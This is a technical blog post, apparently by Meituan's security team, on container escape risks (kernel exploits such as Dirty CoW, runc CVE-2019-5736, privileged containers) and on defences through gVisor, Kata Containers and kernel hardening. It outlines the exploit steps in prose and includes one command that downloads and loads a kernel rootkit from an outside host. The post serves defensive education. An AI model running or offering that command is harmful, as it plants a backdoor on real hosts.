雲原生之容器安全實踐
https://tech.meituan.com/2020/03/12/cloud-native-security.html
概述
雲原生(Cloud Native)是一套技術體系和方法論,它由2個片語成,雲(Cloud)和原生(Native)。雲(Cloud)表示應用程式位於雲中,而不是傳統的資料中心;原生(Native)表示應用程式從設計之初即考慮到雲的環境,原生為雲而設計,在雲上以最佳狀態執行,充分利用和發揮雲平臺的彈性和分散式優勢。
雲原生的代表技術包括容器、服務網格(Service Mesh)、微服務(Microservice)、不可變基礎設施和宣告式API。更多對於雲原生的介紹請參考CNCF/Foundation
筆者將“雲原生安全”抽象成如上圖所示的技術沙盤。自底向上看,底層從硬體安全(可信環境)到宿主機安全 。將容器編排技術(Kubernetes等)看作雲上的“作業系統”,它負責自動化部署、擴縮容、管理應用等。在它之上由微服務、Service Mesh、容器技術(Docker等)、容器映象(倉庫)組成。它們之間相輔相成,以這些技術為基礎構建雲原生安全。
我們再對容器安全做一層抽象,又可以看作構建時安全(Build)、部署時安全(Deployment)、執行時安全(Runtime)。
在美團內部,映象安全由容器映象分析平臺保障。它以規則引擎的形式運營監管容器映象,預設規則支援對映象中Dockerfile、可疑檔案、敏感許可權、敏感埠、基礎軟體漏洞、業務軟體漏洞以及CIS和NIST的最佳實踐做檢查,並提供風險趨勢分析,同時它確保部分構建時安全。
容器在雲原生架構下由容器編排技術(例如Kubernetes)負責部署,部署安全同時也與上文提及的容器編排安全有交集。
執行安全管控交由HIDS負責(可參考《保障IDC安全:分散式HIDS叢集架構設計》一文)。本文所討論的範疇也屬於執行安全之一,主要解決以容器逃逸為模型構建的風險(在本文中,若無特殊說明,容器指代Docker)。
對於安全實施準則,我們將其分為三個階段:
- 攻擊前:裁剪攻擊面,減少對外暴露的攻擊面(本文涉及的場景關鍵詞:隔離);
- 攻擊時:降低攻擊成功率(本文涉及的場景關鍵詞:加固);
- 攻擊後:減少攻擊成功後攻擊者所能獲取的有價值的資訊、資料以及增加留後門的難度等。
近些年,資料中心的基礎架構逐漸從傳統的虛擬化(例如KVM+QEMU架構)轉向容器化(Kubernetes+Docker架構),但“逃逸”始終都是企業要在這2種架構下所面對的最嚴峻的安全問題,同時它也是容器風險中最具代表性的安全問題。筆者將以容器逃逸為切入點,從攻擊者角度(容器逃逸)到防禦者角度(緩解容器逃逸)來闡述容器安全的實踐,從而緩解容器風險。
容器風險
容器提供了將應用程式的程式碼、配置、依賴項打包到單個物件的標準方法。容器建立在兩項關鍵技術之上:Linux Namespace和Linux Cgroups。
Namespace建立一個近乎隔離的使用者空間,併為應用程式提供系統資源(檔案系統、網路棧、程序和使用者ID)。Cgroup強制限制硬體資源,如CPU、記憶體、裝置和網路等。
容器和VM不同之處在於,VM模擬硬體系統,每個VM都可以在獨立環境中執行OS。管理程式模擬CPU、記憶體、儲存、網路資源等,這些硬體可由多個VM共享多次。
圖2 容器攻擊面(Container Attack Surface)容器一共有7個攻擊面:Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language VM、User Code、Container(Docker) engine。
筆者以容器逃逸為風險模型,提煉出3個攻擊面:
- Linux核心漏洞;
- 容器自身;
- 不安全部署(配置)。
1. Linux核心漏洞
容器的核心與宿主核心共享,使用Namespace與Cgroups這兩項技術,使容器內的資源與宿主機隔離,所以Linux核心產生的漏洞能導致容器逃逸。
核心提權VS容器逃逸
通用Linux核心提權方法論
-
資訊收集:收集一切對寫exploit有幫助的資訊。 如:核心版本,需要確定攻擊的核心是什麼版本? 這個核心版本開啟了哪些加固配置? 還需知道在寫shellcode的時候會呼叫哪些核心函式?這時候就需要查詢核心符號表,得到函式地址。 還可從核心中得到一些對編寫利用有幫助的地址資訊、結構資訊等等。
-
觸發階段:觸發相關漏洞,控制RIP,劫持核心程式碼路徑,簡而言之,獲取在核心中任意執行程式碼的能力。
-
佈置shellcode:在編寫核心exploit程式碼的時候,需要找到一塊記憶體來存放我們的shellcode 。 這塊記憶體至少得滿足兩個條件:
- 第一:在觸發漏洞時,我們要劫持程式碼路徑,必須保證程式碼路徑可以到達存放shellcode的記憶體。
- 第二:這塊記憶體是可以被執行的,換句話說,存放shellcode的這塊記憶體具有可執行許可權。
-
執行階段
- 第一:獲取高於當前使用者的許可權,一般我們都是直接獲取root許可權,畢竟它是Linux中的最高許可權,也就是執行我們的shellcode。
- 第二:保證核心穩定,不能因為我們需要提權而破壞原來核心的程式碼路徑、核心結構、核心資料等等,而導致核心崩潰。這樣的話,即使得到root許可權也沒有太大的意義。
簡而言之,收集對編寫exploit有幫助的資訊,然後觸發漏洞去執行特權程式碼,達到提權的效果。
圖3 容器逃逸簡易模型(Container Escape Model)容器逃逸和核心提權只有細微的差別,需要突破namespace的限制。將高許可權的namespace賦到exploit程序的task_struct中。這部分的詳細技術細節不在本文討論範圍內,筆者未來會抽空再寫一篇關於容器逃逸的技術文章,詳細介紹該相關技術的細節。
經典的Dirty CoW
筆者以Dirty CoW漏洞來說明Linux漏洞導致的容器逃逸。漏洞雖老,奈何太過經典。寫到這,筆者不禁想問:多年過去,目前國內外各大廠,Dirty Cow漏洞的存量機器修復率是多少?
在Linux核心的記憶體子系統處理私有隻讀記憶體對映的寫時複製(Copy-on-Write,CoW)機制的方式中發現了一個競爭衝突。一個沒有特權的本地使用者,可能會利用此漏洞獲得對其他情況下只讀記憶體對映的寫訪問許可權,從而增加他們在系統上的特權,這就是知名的Dirty CoW漏洞。
Dirty CoW漏洞的逃逸的實現思路和上述的思路不太一樣,採取Overwrite vDSO技術。
vDSO(Virtual Dynamic Shared Object)是核心為了減少核心與使用者空間頻繁切換,提高系統呼叫效率而設計的機制。它同時對映在核心空間以及每一個程序的虛擬記憶體中,包括那些以root許可權執行的程序。通過呼叫那些不需要上下文切換(context switching)的系統呼叫可以加快這一步驟(定位vDSO)。vDSO在使用者空間(userspace)對映為R/X,而在核心空間(kernelspace)則為R/W。這允許我們在核心空間修改它,接著在使用者空間執行。又因為容器與宿主機核心共享,所以可以直接使用這項技術逃逸容器。
利用步驟如下:
- 獲取vDSO地址,在新版的glibc中可以直接呼叫getauxval()函式獲取;
- 通過vDSO地址找到clock_gettime()函式地址,檢查是否可以hijack;
- 建立監聽socket;
- 觸發漏洞,Dirty CoW是由於核心記憶體管理系統實現CoW時產生的漏洞。通過條件競爭,把握好在恰當的時機,利用CoW的特性可以將檔案的read-only對映該為write。子程序不停地檢查是否成功寫入。父程序建立二個執行緒,ptrace_thread執行緒向vDSO寫入shellcode。madvise_thread執行緒釋放vDSO對映空間,影響ptrace_thread執行緒CoW的過程,產生條件競爭,當條件觸發就能寫入成功。
- 執行shellcode,等待從宿主機返回root shell,成功後恢復vDSO原始資料。
2. 容器自身
我們先簡單的看一下Docker的架構圖:
圖4 Docker架構圖Docker本身由Docker(Docker Client)和Dockerd(Docker Daemon)組成。但從Docker 1.11開始,Docker不再是簡單的通過Docker Dameon來啟動,而是整合許多元件,包括containerd、runc等等。
Docker Client是Docker的客戶端程式,用於將使用者請求傳送給Dockerd。Dockerd實際呼叫的是containerd的API介面,containerd是Dockerd和runc之間的一箇中間交流元件,主要負責容器執行、映象管理等。containerd向上為Dockerd提供了gRPC介面,使得Dockerd遮蔽下面的結構變化,確保原有介面向下相容;向下,通過containerd-shim與runc結合建立及執行容器。更多的相關內容,請參考文末連結runc、containerd、architecture。瞭解清楚這些之後,我們就可以結合自身的安全經驗,從這些元件相互間的通訊方式、依賴關係等尋找能導致逃逸的漏洞。
下面我們以Docker中的runc元件所產生的漏洞來說明因容器自身的漏洞而導致的逃逸。
CVE-2019-5736:runc - container breakout vulnerability
runc在使用檔案系統描述符時存在漏洞,該漏洞可導致特權容器被利用,造成容器逃逸以及訪問宿主機檔案系統;攻擊者也可以使用惡意映象,或修改執行中的容器內的配置來利用此漏洞。
-
攻擊方式1:(該途徑需要特權容器)執行中的容器被入侵,系統檔案被惡意篡改 ==> 宿主機執行docker exec命令,在該容器中建立新程序 ==> 宿主機runc被替換為惡意程式 ==> 宿主機執行docker run/exec 命令時觸發執行惡意程式;
-
攻擊方式2:(該途徑無需特權容器)docker run命令啟動了被惡意修改的映象 ==> 宿主機runc被替換為惡意程式 ==> 宿主機執行docker run/exec命令時觸發執行惡意程式。
當runc在容器內執行新的程式時,攻擊者可以欺騙它執行惡意程式。通過使用自定義二進位制檔案替換容器內的目標二進位制檔案來實現指回runc二進位制檔案。
如果目標二進位制檔案是/bin/bash,可以用指定直譯器的可執行指令碼替換#!/proc/self/exe。因此,在容器內執行/bin/bash,/proc/self/exe的目標將被執行,將目標指向runc二進位制檔案。
然後攻擊者可以繼續寫入/proc/self/exe目標,嘗試覆蓋主機上的runc二進位制檔案。這裡需要使用O_PATH flag開啟/proc/self/exe檔案描述符,然後以O_WRONLY flag 通過/proc/self/fd/重新開啟二進位制檔案,並且用單獨的一個程序不停地寫入。當寫入成功時,runc會退出。
3. 不安全部署(配置)
在實際中,我們經常會遇到這種狀況:不同的業務會根據自身業務需求提供一套自己的配置,而這套配置並未得到有效的管控審計,使得內部環境變得複雜多樣,無形之中又增加了很多風險點。最常見的包括:
- 特權容器或者以root許可權執行容器;
- 不合理的Capability配置(許可權過大的Capability)。
面對特權容器,在容器內簡單地執行一下命令,就可以輕鬆地在宿主機上留下後門:
$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko
目前在美團內部,我們已經有效地收斂了特權容器問題。
這部分業界已經給出了最佳實踐,從宿主機配置、Dockerd配置、容器映象、Dockerfile、容器執行時等方面保障了安全,更多細節請參考Benchmark/Docker。同時Docker官方已經將其實現成自動化工具(gVisor)。
安全實踐
為解決上述部分所闡述的容器逃逸問題,下文將重點從隔離(安全容器)與加固(安全核心)兩個角度來進行討論。
安全容器
安全容器的技術本質就是隔離。gVisor和Kata Container是比較具有代表性的實現方式,目前學術界也在探索基於Intel SGX的安全容器。
簡單地說,gVisor是在使用者態和核心態之間抽象出一層,封裝成API,有點像user-mode kernel,以此實現隔離。Kata Container採用了輕量級的虛擬機器隔離,與傳統的VM比較類似,但是它實現了無縫整合當前的Kubernetes加Docker架構。我們接著來看gVisor與Kata Container的異同。
Case 1: gVisor
gVisor是用Golang編寫的使用者態核心,或者說是沙箱技術,它主要實現了大部分的system call。它執行在應用程式和核心之間,為它們提供隔離。gVisor被使用在Google雲端計算平臺的App Engine、Cloud Functions和Cloud ML中。gVisor執行時,是由多個沙箱組成,這些沙箱程序共同覆蓋了一個或多個容器。通過攔截從應用程式到主機核心的所有系統呼叫,並使用使用者空間中的Sentry處理它們,gVisor充當guest kernel的角色,且無需通過虛擬化硬體轉換,可以將它看做vmm與guest kernel的集合,或是seccomp的增強版。
圖5 gVisor架構圖(來自gVisor)Case 2: Kata Container
Kata Container的Container Runtime是用hypervisor ,然後用hardware virtualization實現,如同虛擬機器。所以每一個像這樣的Kata Container的Pod,都是一個輕量級虛擬機器,它擁有完整的Linux核心。所以Kata Container與VM一樣能提供強隔離性,但由於它的優化和效能設計,同時也擁有與容器相媲美的敏捷性。
圖6 Kata Container 架構圖(圖片來自Katacontainers.io)Kata Container在主機上有一個kata-runtime來啟動和配置新容器。對於Kata VM中的每個容器,主機上都有相應的Kata Shim。 Kata Shim接收來自客戶端的API請求(例如Docker或kubectl),並通過VSock將請求轉發給Kata VM內的代理。 Kata容器進一步優化以減少VM啟動時間。 使用QEMU的輕量級版本NEMU,刪除了約80%的裝置和包。 VM-Templating建立執行Kata VM例項的克隆,並與其他新建立的Kata VM共享,這樣減少了啟動時間和Guest VM記憶體消耗。 Hotplug功能允許VM使用最少的資源(例如CPU、記憶體、virtio塊)進行引導,並在以後請求時新增其他資源。
gVisor VS Kata Container
在兩者之間,筆者更願選擇gVisor,因為gVisor設計上比Kata Container更加的“輕”量級,但gVisor的效能問題始終是一道暫時無法逾越的“天塹”。綜合二者的優劣,Kata Container目前更適合企業內部。總體而言,安全容器技術還需做諸多探索,以解決不同企業內部基礎架構上面臨的各種挑戰。
安全核心
眾所周知,Android由於其開源特性,不同廠商都維護著自己的Android版本。因為Android核心態程式碼來自於Linux kernel upstrem,當一個漏洞產生在upstrem核心,安全補丁推送到Google,再從Google下發到各大廠商,最終到終端使用者。由於Android生態的碎片化,補丁週期非常之長,使得終端使用者的安全,在這過程中始終處於“空窗期”。當我們把目光重新焦距在Linux上,它也同樣存在類似的問題。
核心面臨的問題
圖7 漏洞生命週期(The Vulnerability Life Cycle)核心補丁
當一個安全漏洞被披露,通常是由漏洞發現者通過Redhat、OpenSuse、Debian等社群反饋或直接提交至上游相關子系統maintainer。在企業內部面臨多個不同核心大版本、核心定製化,針對不同版本從上游程式碼backport相關補丁及製作相關熱補丁,定製核心還需對補丁進行二次開發,再升級生產環境核心或Hotfix核心。不僅修復週期過長,而且在修復過程中,人員溝通也存在一定的成本,也拉長了漏洞危險期。在危險期間,我們對於漏洞基本是毫無防護能力的。
核心版本碎片化
核心版本碎片化在任意具備一定規模的公司都是無法避免的問題。隨著技術的日新月異,不斷迭代,基礎架構上的技術棧需要較新版本的核心功能去支援,久而久之就產生核心版本的碎片化。碎片化問題的存在,使得在安全補丁的推送方面,遭遇了很大的挑戰。本身補丁還需要做針對性的適配,包括不同版本的核心,並進行測試驗證,碎片化使得維護成本也變得十分高昂。最重要的是,由於維護工作量大,必然拉長了測試補丁的時間線。也就是說,暴露在攻擊者面前的危險期變得更長,被攻擊的可能性也大大增加。
核心版本定製化
同樣,因不同公司的基礎架構不同、需求不同,導致的定製化核心問題。對於定製化核心,無法簡單的通過從上游核心合併補丁,還需對補丁做一些本地化來適配定製化核心。這又拉長了危險期。
解決之道
我們使用安全特性去針對某一類漏洞或是針對某一類利用方式做防禦與檢測。比如SLAB_FREELIST_HARDENED,針對Double Free型別漏洞做實時檢測,且防禦overwrite freelist連結串列,效能損耗僅0.07%(參考upstrem核心原始碼,commit id: 2482ddec)。當完成所有全部的安全特性,漏洞在被反饋之前和漏洞補丁被及時推送至生產環境前,都無需關心漏洞的細節,就能防禦。當然,安全補丁該打還是得打,這裡我們主要解決在安全補丁最終落在生產環境過程中,“空窗期”對於漏洞與利用毫無防禦能力的問題,同時也可以對0day有一定的檢測及防禦能力。
實施策略
-
已經合併進Linux主線版本的安全特性,如果公司的核心支援該特性,選擇開啟配置,對開啟前後核心做效能測試,分析安全特性原理、行業資料,給出Real World攻擊案例(自己寫exploit去證明),將報告結論反饋給核心團隊。核心團隊再做評估,結合安全團隊與核心團隊雙方意見,最終評估落地。
-
已經合併進Linux主線版本但未被合併進Redhat的安全特性,可選擇從Linux核心主線版本中移植,這點上程式碼質量上得到了保障,同時社群也做了效能測試,將其合併到公司的核心再做複測。
-
未被合併進Linux核心主線版本,從Grsecurity/PaX中做移植,在Grsecurity/PaX的諸多安全特性中,評估選擇,選取程式碼改動少的,收益高的安全特性優先移植。比如改動較少的核心程式碼又能有效解決某一類的漏洞,再打個比方,Dirty Cow的全量修復可能需要花費1-2年的時間,如果加了某個安全特性,即使未修復也能防禦。
核心後話
最後,分享一下筆者眼中較為理想中的狀況。當然,我們得根據實際情況“因地制宜”,在不同階段做出不同的取捨與選擇。
- 將核心團隊看成社群,我們向他們提交程式碼,如同Linux核心社群有RFC(Request for Comment)、Patch Review等,無爭議後合併進公司核心。
- 先挑選實用的安全特性且程式碼量少的,去移植,去實現,並落地。程式碼量少意味著對核心程式碼改動少,出問題的可能性越小,穩定性越高,效能損耗越低。
- 一年完成幾個安全特性,不需要多,1~2個即可,對於核心態的加固,慎重慎重再慎重,譬如國外G家公司資料中心的核心發版前大概需要6~7個月時間做效能、穩定性測試。
- 需要做到加固某個安全特性後,使用0day或Nday去驗證防禦效果,且基於該核心跑業務是穩定,效能損耗在可接受範圍之內或者可控。每個安全特性需要技術評審。為保障程式碼質量的問題,找實際的高吞吐以及高併發低延遲的伺服器小範圍灰度測試,無爭議後,再推送給核心團隊。
- 最後,我們還可以通過將安全特性的程式碼直接提交給Linux核心社群,如果程式碼有不足的地方也可以和社群協同解決,合併進Linux核心主線程式碼,從而側面推動落地。
作者簡介
Pray3r,負責美團內部作業系統安全、雲原生安全、重大高危漏洞應急響應,長期專注於Linux核心安全及開源軟體安全。
參考文獻
- CNCF/Foundation
- 保障IDC安全:分散式HIDS叢集架構設計
- Dirty Cow
- runc
- containerd
- Docker/Containerd/Architecture
- OSS-Security
- Frichetten/CVE-2019-5736-PoC
- Docker
- Benchmark/Docker/
- gVisor.dev
- Container Isolation at Scale
- Kata-Containers/Documentation
- Kernel
- Redhat
- Namespaces in operation, part 1: namespaces overview
- Control groups series by Neil Brown
- Container-Security
- Anatomy of a Container: Namespaces, cgroups & Some Filesystem Magic - LinuxCon
- A Short Story: Bypass SMEP on Linux